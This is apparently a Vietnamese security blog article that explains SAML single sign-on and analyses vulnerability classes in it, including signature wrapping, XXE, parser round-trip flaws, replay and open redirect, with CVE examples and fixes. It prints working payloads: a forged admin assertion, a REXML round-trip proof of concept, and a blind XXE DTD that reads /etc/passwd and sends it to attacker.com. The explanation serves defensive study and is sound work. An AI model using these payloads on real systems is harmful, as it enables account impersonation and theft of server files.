I. Tổng quan về SAML
SAML (Security Assertion Markup Language) là một tiêu chuẩn mở để trao đổi dữ liệu xác thực và ủy quyền giữa các bên, đặc biệt là giữa Identity Provider và Service Provider.
- Identity Provider - IdP
Nhà cung cấp danh tính (IdP) là dịch vụ phần mềm lưu trữ và xác nhận danh tính người dùng, thường thông qua quy trình đăng nhập. Trên thực tế, hệ thống SSO có thể tách biệt với IdP, nhưng trong những trường hợp đó, SSO về cơ bản hoạt động như một đại diện cho IdP, vì vậy về mọi mặt và mục đích, chúng giống nhau trong quy trình làm việc SAML.
Ví dụ: Azure, Google , OneLogin, Keycloak, Okta, …
- Service Provider - SP
Đây là ứng dụng hoặc dịch vụ lưu trữ mà người dùng muốn sử dụng. Thông thường, người dùng chỉ cần đăng nhập trực tiếp vào các dịch vụ này, nhưng khi sử dụng SSO, người dùng sẽ đăng nhập vào SSO thay vào đó và SAML là một giao thức được sử dụng để cấp cho họ quyền truy cập thay vì đăng nhập trực tiếp.
SAML Assertion
SAML Assertion là XML document được IdP gửi đến SP để xác nhận rằng người dùng đã được xác thực thành công và cung cấp thông tin liên quan về người dùng đó.
Nó đóng vai trò quan trọng trong việc cho phép các hệ thống khác nhau chia sẻ thông tin xác thực và ủy quyền một cách an toàn, hỗ trợ các giải pháp SSO hiệu quả.
SAML hoạt động như thế nào?
Quá trình xác thực SAML diễn ra như mô hình các bước dưới đây

Ta có thể tóm gọn lại trong 3 giai đoạn chính:
1. Khi thực hiện đăng nhập bằng chức năng SSO, browser sẽ được redirect và gửi một request tới IdP với SAMLRequest


Ví dụ về SAML request:
<samlp:AuthnRequest AssertionConsumerServiceURL='http://localhost:3000/saml/acs' Destination='https://trial-7112062.okta.com/app/trial-7112062_demo_1/exkqn7ojdivvamkp9697/sso/saml' ID='_5c01f6ea-4e65-40b9-81ba-396cf539dd86' IssueInstant='2025-04-25T17:52:28Z' Version='2.0'
xmlns:saml='urn:oasis:names:tc:SAML:2.0:assertion'
xmlns:samlp='urn:oasis:names:tc:SAML:2.0:protocol'>
<saml:Issuer>http://localhost:3000/saml/metadata</saml:Issuer>
<samlp:NameIDPolicy AllowCreate='true' Format='urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress'/>
</samlp:AuthnRequest>
Một số thông tin cơ bản như:
- Issuer: Định danh của SP
- NameIDPolicy: yêu cầu IdP cung cấp NameID theo định dạng cụ thể.
2. Người dùng xác thực thông tin đăng nhập với IdP
Các thông tin có thể bao gồm như:
- Username, password.
- Thông qua Authenticator App.
3. IdP tạo ra SAML Response và gửi về SP để xác thực:


Ví dụ về SAML Response
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response Destination="http://localhost:3000/saml/acs" ID="id1806845563008625488624701972" InResponseTo="_79eefdd8-236f-4c0a-9035-f4554a7a0f82" IssueInstant="2025-05-04T18:40:05.391Z" Version="2.0"
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkqn7ojdivvamkp9697
</saml2:Issuer>
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</saml2p:Status>
<saml2:Assertion ID="id-78104388552495511011240539926" IssueInstant="2025-05-04T18:40:05.391Z" Version="2.0"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkqn7ojdivvamkp9697
</saml2:Issuer>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">qzx60625@bcooq.com</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData InResponseTo="_79eefdd8-236f-4c0a-9035-f4554a7a0f82" NotOnOrAfter="2025-05-04T18:45:05.391Z" Recipient="http://localhost:3000/saml/acs"/>
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2025-05-04T18:35:05.391Z" NotOnOrAfter="2025-05-04T18:45:05.391Z"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>http://localhost:3000/saml/metadata</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2025-05-04T16:45:38.069Z" SessionIndex="_79eefdd8-236f-4c0a-9035-f4554a7a0f82"
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
<saml2:AttributeStatement xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml2:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">xxxxxxx@gmail.com
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="firstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml2:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Peter
</saml2:AttributeValue>
</saml2:Attribute>
<saml2:Attribute Name="lastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml2:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Cao
</saml2:AttributeValue>
</saml2:Attribute>
</saml2:AttributeStatement>
</saml2:Assertion>
</saml2p:Response>
Cấu trúc cơ bản của Assertion:

- Assertion ID: unique id cho assertion
- Issuer: Thông tin về IdP sử dụng.
- Signature: Chữ ký số để đảm bảo tính toàn vẹn và xác thực của assertion.
- Subject: Chi tiết về đối tượng người dùng đã xác thực trong assertion. Phần tử NameID
thường được sử dụng để xác định người dùng đã xác thực. (user, email,…)
- Conditions: Điều kiện cho tính hợp lệ của assertion.
- Statements: Là phần chứa thông tin cụ thể về đối tượng được xác thực. Trong xác thực SAML có hai loại:
- AuthnStatement: Cung cấp thông tin về session xác thực của người dùng.
- AttributeStatement: Cung cấp các thuộc tính của người dùng đã xác thực.
SAML Assertion sẽ là mấu chốt cho việc xác thực người dùng. Do đó việc sử dụng mật mã để bảo vệ là điều cần thiết để đảm bảo tính bảo mật và toàn vẹn của nó. Có hai loại khóa thường được sử dụng: Signing Key và Encryption Key.
Trong SAML Response mẫu trên, Assertion được ký số, ds:Signature
một số thông tin như:
- CanonicalizationMethod
: phương thức chuẩn hoá.
- SignatureMethod
: thuật toán sử dụng.
- DigestMethod
là thuật toán sử dụng tạo hash là giá trị DigestValue
để kiểm tra tính toàn vẹn.
- SignatureValue
: tạo bởi private key RSA.
- KeyInfo
: chứng chỉ X.509 chứa public key để xác minh chữ ký số.
II. Một vài lỗ hổng trong SAML
1. XML Signature Wrapping (XSW)
XML Signature Wrapping (XSW) là một lỗ hổng bảo mật nhắm vào cơ chế signature trên XML, đặc biệt phổ biến trong các hệ thống sử dụng SAML để xác thực người dùng. Attacker lợi dụng sự “nhầm lẫn” giữa quá trình xác thực XML Signature và bước xử lý logic của ứng dụng từ để inject các phần tử giả mạo vào cấu trúc XML mà vẫn giữ cho việc kiểm tra signature được hợp lệ.
Lỗ hổng này có thể cho phép chèn thêm role mới hoặc thay đổi user trong một SAML Assertion đã ký để leo thang đặc quyền hoặc giả mạo user khác.
Cách thức hoạt động của XSW
Trong SAML, SAML Response thường chứa một hoặc nhiều <Assertion> chứa thông tin người dùng, và các <Assertion>
này thường được ký số bằng XML Digital Signature. Cấu trúc sẽ theo chuẩn XMLDSig điển hình gồm các phần tử <SignedInfo>
, <SignatureValue>
, và <KeyInfo>
.
Ví dụ:
<saml:Assertion ID="abc123">
<ds:Signature>
<ds:SignedInfo><ds:Reference URI="#abc123"/></ds:SignedInfo>
<ds:SignatureValue>…</ds:SignatureValue>
<ds:KeyInfo>…</ds:KeyInfo>
</ds:Signature>
<saml:Subject>…<saml:NameID>user@example.com</saml:NameID></saml:Subject>
…
</saml:Assertion>
Mặc dù XML Signature được xây dựng an toàn về mặt mật mã, nhưng nó có những thiếu sót đáng kể liên quan đến cơ chế tham chiếu của nó. XML Signature (ds:Signature
) thường nằm bên trong Response hoặc bên trong Assertion, phụ thuộc vào cấu hình. Ví dụ, IdP có thể ký nguyên phần <Assertion>
, trong trường hợp đó, phần <Signature>
bên trong Assertion chứa <SignedInfo>
với một phần tử <Reference URI="#Assertion_id">
, tham chiếu phần tử Assertion được ký. Cách thức này đảm bảo rằng digest được tính trên nội dung của phần tử mang thuộc tính ID tương ứng và liên kết chặt chẽ giữa signature với phần tử đó.

Tấn công này được thực hiện bằng việc inject Signature gốc vào XML dưới dạng phần tử con của Response ban đầu.
Ví dụ:

Kết quả:
- Khi SP kiểm tra signature, nó thấy URI=#_8c3b…
tham chiếu đến Response gốc (ID=_8c3b…
) và xác minh rằng signature vẫn hợp lệ.
- Tuy nhiên, nếu SP không kiểm tra cẩn thận và lấy Assertion từ Response đầu tiên (Response giả mạo), nó sẽ xử lý thông tin giả mạo thay vì thông tin gốc.
Các case attack này xuất hiện nhiều biến thể tuỳ thuộc vào thư viện SP xử lý SAML. Ngoài Response, attacker cũng có thể inject Assertion giả mạo,…
Tham khảo thêm tại: https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/#xml-signature-wrapping
CVE-2020-5407: Signature Wrapping Vulnerability with spring-security-saml2-service-provider
Lỗ hổng của Spring Security xuất phát từ component spring-security-saml2-service-provider với accept version:
- 5.2.x đến 5.2.4.
- 5.3.x đến 5.3.2.
Dựa vào bản diff giữa 2 version 5.3.1 và 5.3.2:
Trong class OpenSamlAuthenticationProvider xác thực SAMl với method chính authenticate()
, việc xử lý đã bị thay đổi:

Method alidateSaml2Response()
cho thấy ứng dụng có thể chấp nhận tất cả Assertion (kể cả chưa sign) nếu Response đã được sign và hợp lệ từ trước đó (responseSigned == true
):

Xem method validateResponse()
của bản fix, ta có thể thấy rõ hơn điều này, từng assertion đã được kiểm tra:


Như vậy payload khai thác chỉ cần thêm assertion giả mạo vào đầu:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="r123" Version="2.0" IssueInstant="2025-05-14T00:00:00Z" Destination="https://sp.example.com/saml/acs">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.example.com</saml:Issuer>
<!-- Valid Signature -->
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<!-- Signature over the legitimate assertion below -->
</ds:Signature>
<!-- Fake Assertion được SP xử lý -->
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="evil" IssueInstant="2025-05-14T00:00:00Z" Version="2.0">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">admin</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2025-05-14T00:00:00Z" NotOnOrAfter="2025-05-15T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="Role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<!-- Assertion hợp lệ bị bỏ qua -->
<ds:Object xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="signed" IssueInstant="2025-05-14T00:00:00Z" Version="2.0">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject>
<saml:NameID>real-user@example.com</saml:NameID>
</saml:Subject>
<saml:Conditions NotBefore="2025-05-14T00:00:00Z" NotOnOrAfter="2025-05-15T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="Role">
<saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</ds:Object>
</samlp:Response>
CVE trên chỉ là một ví dụ đơn giản về lỗ hổng này vẫn có thể xảy ra mà chưa cần quan tâm đến xử lý tham chiếu.
Để bảo vệ chống lại vấn đề này, hãy đảm bảo rằng:
- Tất cả các xác nhận SAML luôn được IdP sign. Khi IdP ký SAML Assertion, nó sử dụng private key để tạo signature. Signature cho phép SP xác minh rằng xác nhận không bị thay đổi trong quá trình truyền tải và nó đến từ IdP hợp lệ.
- Với vai trò là IdP cần xác thực SAML Response chỉ được sign bởi IdP đáng tin cậy.
- Với vai trò là SP cần kiểm tra đúng signature của từng Assertion cũng như Response.
2. XML External Entity (XXE)
Trong SAML, dữ liệu xác thực được trao đổi dưới dạng XML giữa IdP và SP. Quá trình này đòi hỏi việc phân tích và xử lý nội dung XML một cách an toàn tuyệt đối, đặc biệt khi SAML Response đến từ nguồn bên ngoài. Vì vậy nếu parser XML được cấu hình không đúng, nó có thể vô tình cho phép xử lý external entities – một kỹ thuật thường bị khai thác trong lỗ hổng XML External Entity (XXE). Từ XXE, attacker có thể bị lợi dụng để đọc file tuỳ ý, thực hiện SSRF (Server-Side Request Forgery), hoặc từ chối dịch vụ (DoS), đe dọa nghiêm trọng đến bảo mật thông tin và hệ thống xác thực.
CVE-2022-35741
Apache CloudStack là một nền tảng open source dùng để triển khai, quản lý và mở rộng hạ tầng cloud. Lỗ hổng xuất hiện trên version từ 4.5.0 đến 4.16.1.0 và 4.17.0.0, với điều kiện plugin SAML2 được enable.
Phương thức chính SAML2LoginAPIAuthenticatorCmd.authenticate()
thực hiện luồng xác thực SAML, xử lý cả yêu cầu ban đầu và quá trình xử lý phản hồi SAML. Và trong đó method processSAMLResponse()
sẽ phân tích và xác thực SAML Response:


Như thường lệ, SAML Response được decode base64 ⇒ XML ⇒ parse

Trên đây ta có thể dễ dàng thấy DocumentBuilderFactory
được tạo mặc định mà không vô hiệu hóa xử lý external entities và 1 số tính năng khác dẫn đến xảy ra lỗ hổng XXE.
Nền tảng này sau đó đã fix:


Như vậy DocumentBuilderFactory
được cấu hình bảo mật để ngăn chặn XXE:
- Không cho khai báo DOCTYPE
- Disable external entities
- Disable external DTD
- Disable XInclude
- ….
CVE-2022-34716: External Entity Injection during XML signature verification (.NET)
System.Security.Cryptography.Xml
là một namespace trong .NET cung cấp các lớp hỗ trợ XML Encryption và XML Signature theo các chuẩn của W3C. Lỗ hổng xảy ra trong các versions < 4.7.1, >= 5.0.0, < 6.0.1.
Hàm CheckSignature(AsymmetricAlgorithm key
) trong class SignedXml
dùng để xác minh tính hợp lệ của signature, trong đây gọi đến hàm CheckDigestedReferences()
để tính lại hash từ dữ liệu thực tế có trùng với DigestValue
đã ký không:
System/Security/Cryptography/Xml/SignedXml.cs#L297

CalculateHashValue()
là hàm chính cho việc tính toán này:
System/Security/Cryptography/Xml/Reference.cs#L355
TransformChain thực hiện từng bước biến đổi dữ liệu XML:
- Loại bỏ phần <Signature>
khỏi nội dung.
- Chuẩn hóa XML (c14n).
- Decode base64.
- Trích xuất XPath.
Và trước khi thực hiện transform, method PreProcessDocumentInput()
được dùng để hỗ trợ phân tích lại XML. Đây cũng chính là nguyên nhân dẫn đến lỗ hổng XXE:

System/Security/Cryptography/Xml/Utils.cs#L212
XmlReaderSettings settings = new XmlReaderSettings();
settings.XmlResolver = xmlResolver;
settings.DtdProcessing = DtdProcessing.Parse;
settings.MaxCharactersFromEntities = MaxCharactersFromEntities;
settings.MaxCharactersInDocument = MaxCharactersInDocument;
using XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);
doc.Load(reader);
Nhìn vào có thể thấy XmlReader được cấu hình DTD đồng thời với XmlResolver
để parse external entities đễn đến lỗ hổng.
Tóm lại:
Khác biệt với XXE thông thường thì trong SAML, XML được parse sẽ không trích xuất ra được nội dung, vì vậy ta cần dùng blind payload để khai thác:
Tạo malicious.dtd và host nó:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Payload tấn công:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
3. Lỗ hổng XML round-trip
Thuật ngữ round-trip chỉ quá trình chuyển đổi dữ liệu hoặc định dạng từ hình thức này sang hình thức khác và sau đó quay trở lại hình thức ban đầu. Nghe qua ta cũng có thể hình dung được lỗ hổng này xảy ra như thế nào. Đại khái khi xác thực SSO qua SAML, SAML Reponse dạng XML sẽ được parse để phân tích thực hiện xác thực người dùng từ đó, kẻ tấn công đã sử dụng lỗ hổng trong việc parsing để thực hiện khai thác nhằm truy cập trái phép.
Cuối năm 2020, bài blog này đã nói về lỗ hổng này trong thư viện Go liên quan đến việc xử lý XML không đảm bảo tính toàn vẹn. Từ đó đến nay các lỗ hổng này mở rộng ra trong nhiều ngôn ngữ khác nhau như Ruby, NodeJS, Python,…
Xác thực signature trong thư viện ruby-saml
Hàm validate_signature()
sẽ có nhiệm vụ quan trọng là thực hiện kiểm tra signature.
Trong Ruby-SAML, quá trình này bao gồm hai trình parser khác nhau: REXML và Nokogiri.
Signature được lấy ra bởi REXML:

Signature cũng được lấy ra bởi Nokogiri:

SignedInfo
được lấy ra và được chuẩn hoá (canonicalize)
Tiếp tục một số thông tin khác được lấy ra như Reference để tham chiếu đến phần được ký, thuật toán chuẩn hoá, thuật toán hash từ đó tạo giá trị hash.
Từ đó so sánh hash (tạo bởi Nokogiri) với giá trị phần tử DigestValue
(trích xuất bởi REXML) với mục đích kiểm tra tính toàn vẹn.

Cuối cùng là việc lấy cert và verify ⇒ kiểm tra tính xác thực

Như vậy. trên đây là cơ chế bảo mật cốt lõi trong SAML, đảm bảo rằng thông tin xác thực từ IdP đến SP là đáng tin cậy và không bị giả mạo
Lỗ hổng trên REXML
Dựa vào bài viết SAML roulette: the hacker always wins đã phân tích hổng xảy ra trên thư viện REXML như sau:
require ‘rexml/document’
doc = REXML::Document.new <<XML
<!DOCTYPE xml SYSTEM 'x" ><!--'>
<Response>
<Assertion>attacker</Assertion>
<![CDATA[-->
<Response>
<Assertion2>original</Assertion2>
<!--]]>--></Response>
XML
puts "Original: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "Round-trip: " + doc.root.elements[1].name
output:
Original: Assertion
Round-trip: Assertion2
Có thể thấy việc sử dụng `to_s` để chuyển thành string đã làm thay đổi.
Trong đoạn code kiểm tra signature được trích xuất REXML: SAML Response được sử dụng bởi XML Document đã chuyển thành string trước khi xử lý.

Như vậy, attacker có thể giả mạo được assertion mà vẫn vượt qua được cơ chế bảo vệ tính toàn vẹn nhờ vào DigestValue
Tóm lại:
Như đã nói NameID
xác minh danh tính của người dùng, ta có thể mạo danh người dùng khác bằng cách thay đổi giá trị đó:
PoC: https://www.diffchecker.com/jJ655yZc/
Lỗ hổng này ảnh hưởng tới Gitlab và nhiều ứng dụng khác sử dụng thư viện.
Ngoài ra liên quan lỗ hổng SAML đã xuất hiện trên ngôn ngữ khác như NodeJS hay Python
CVE-2025-29775
Nói sơ qua về lỗ hổng này, nó xuất hiện trong thư viện xml-crypto trong các versions: >= 4.0.0, < 6.0.1, >= 3.0.0, < 3.2.1, < 2.1.6
Khác với việc sử dụng 2 thư viện khác nhau trong ruby-saml ở trên, tại đây:
- Trong việc kiểm tra signature, XML đã được chuẩn hoá để loại bỏ các phần tử như comment
- Trong khi kiểm tra Digest chứa nội dung XML của người dùng nhưng không chuẩn hoá
⇒ Vì vậy attacker lợi dụng việc inject tag comment mà vẫn hợp lệ
https://github.com/node-saml/xml-crypto/commit/8ac6118ee7978b46aa56b82cbcaa5fca58c93a07
Đã được chuẩn hoá trong version 6.0.1:

DigestValue
được lấy đúng để kiểm tra:

4. Một số lỗ hổng khác
XML Signature Exclusion
Đây là một lỗ hổng bảo mật trong cơ chế xác thực SAML khi hệ thống không kiểm tra bắt buộc chữ ký số trên tất cả các phần tử quan trọng, đặc biệt là `Assertion`. Điều này cho phép kẻ tấn công loại bỏ hoặc thay thế hay chèn thêm phần dữ liệu xác thực không được ký trong XML mà không bị phát hiện.
Lỗ hổng này khá giống với việc chuyển một lỗ hổng trong jwt với việc chuyển algorithm thành none và xoá phần signature.
<samlp:Response>
<ds:Signature>...</ds:Signature> <!-- Response Sign-->
<saml:Assertion> <!-- No Assertion Sign-->
<Subject>
<NameID>admin@example.com</NameID>
</Subject>
</saml:Assertion>
</samlp:Response>
Phòng chống lỗ hổng này bằng cách đảm bảo rằng mọi dữ liệu xác thực quan trọng (đặc biệt là Assertion) phải được sign hợp lệ và được xác minh đầy đủ.
Replay attacks
Một trong những đặc điểm quan trọng của SAML là việc sử dụng các tham số như `RelayState` để giữ trạng thái hoặc redirect người dùng sau khi xác thực. Tuy nhiên, chính cơ chế này lại tiềm ẩn rủi ro bảo mật nghiêm trọng nếu không được kiểm soát chặt chẽ.
Replay Attack thường được thực hiện qua:
1. Sau quá trình IdP tạo SAML Response chứa một Assertion đã ký để gửi qua browser để đưa về cho SP, kẻ tấn công thực hiện man-in-the-middle hoặc thu thập thông tin từ các logs của luồng SAML từ đó lấy được SAML Response hợp lệ.
2. Attacker sử dụng SAML Response lấy được truy cập vào tài nguyên trên SP.
Phòng chống:
- Sử dụng <Conditions NotBefore="..." NotOnOrAfter="...">
để giới hạn thời gian hiệu lực Assertion phù hợp, thường chỉ vài phút.
- Cấu hình hệ thống SP để mỗi Assertion chỉ dùng được một lần, sau đó từ chối Assertion trùng lặp dựa vào ID.
Open redirect
Redirect là một phần thiết yếu trong quy trình xác thực SAML, đặc biệt là trong SSO. Param `RelayState` sẽ lưu trạng thái sau khi đăng nhập thành công ví dụ như path mà người dùng muốn truy cập đến. Khi SP không kiểm tra, kẻ tấn công có thể lợi dụng để redirect người dùng đế các trong web giả mạo, đánh cắp thông tin, thực hiện các cuộc tấn công khác,…
Phòng chống lỗ hổng này bằng cách whitelist đường dẫn phù hợp.
Kết luận
SAML (Security Assertion Markup Language) đóng vai trò quan trọng trong hệ thống xác thực hiện đại, cho phép người dùng truy cập nhiều dịch vụ với một lần đăng nhập thông qua cơ chế SSO. Mặc dù mang lại nhiều tiện ích và cải thiện trải nghiệm người dùng, SAML vẫn tồn tại những lỗ hổng bảo mật đáng chú ý cần được quan tâm. Để bảo vệ hệ thống sử dụng SAML, các tổ chức cần áp dụng đồng bộ nhiều biện pháp như: kiểm tra kỹ lưỡng tính toàn vẹn của XML, triển khai mã hóa mạnh cho dữ liệu nhạy cảm, , thực hiện kiểm thử và đánh giá bảo mật thường xuyên, cũng như cập nhật các thư viện liên quan đến SAML.
References
- https://duo.com/blog/the-beer-drinkers-guide-to-saml
- https://workos.com/blog/common-saml-security-vulnerabilities
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://portswigger.net/research/saml-roulette-the-hacker-always-wins
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
- https://workos.com/blog/samlstorm